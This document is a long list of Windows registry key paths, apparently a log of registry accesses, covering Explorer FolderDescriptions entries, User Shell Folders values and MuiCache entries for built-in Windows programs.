HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\InitFolderHandler
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Programs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoStartMenuSubFolders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\InitFolderHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Common Start Menu
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\sud.dll,-1
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\wucltux.dll,-1
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\ehome\ehres.dll,-100
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Program Files\Windows Sidebar\sidebar.exe,-1005
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\WindowsAnytimeUpgradeUI.exe,-1
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Program Files\DVD Maker\DVDMaker.exe,-61403
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\FXSRESM.dll,-114
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\unregmp2.exe,-4
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\XpsRchVw.exe,-102
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\displayswitch.exe,-320
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Program Files\Common Files\Microsoft Shared\Ink\mip.exe,-291
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\mblctr.exe,-1008
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\NetProjW.dll,-501
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\mstsc.exe,-4000
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\SnippingTool.exe,-15051
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\SoundRecorder.exe,-100
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\SNTSearch.dll,-505
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\System32\SyncCenter.dll,-3000
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\OobeFldr.dll,-33056
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\Speech\SpeechUX\sapi.cpl,-5555
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\dfrgui.exe,-103
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\wdc.dll,-10030
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\msinfo32.exe,-100
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\rstrui.exe,-100
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\miguiresource.dll,-201
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\migwiz\wet.dll,-591
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\migwiz\wet.dll,-588
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Program Files\Common Files\Microsoft Shared\Ink\ShapeCollector.exe,-298
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Program Files\Common Files\Microsoft Shared\Ink\TipTsf.dll,-80
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Program Files\Windows Journal\Journal.exe,-3074
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe,-102
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe,-101
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\comres.dll,-3410
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\mycomput.dll,-300
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\odbcint.dll,-1310
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\miguiresource.dll,-101
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\iscsicpl.dll,-5001
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\MdSched.exe,-4001
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\wdc.dll,-10021
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\pmcsnap.dll,-700
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\wsecedit.dll,-718
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\filemgmt.dll,-2204
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\msconfig.exe,-126
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\System32\AuthFWGP.dll,-20
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\gameux.dll,-10082
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\sdcpl.dll,-101
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\recdisc.exe,-2000
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\msra.exe,-100
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\InitFolderHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Common Programs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\InitFolderHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Common Desktop
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\InitFolderHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SortOrderIndex
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\InitFolderHandler
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\Security
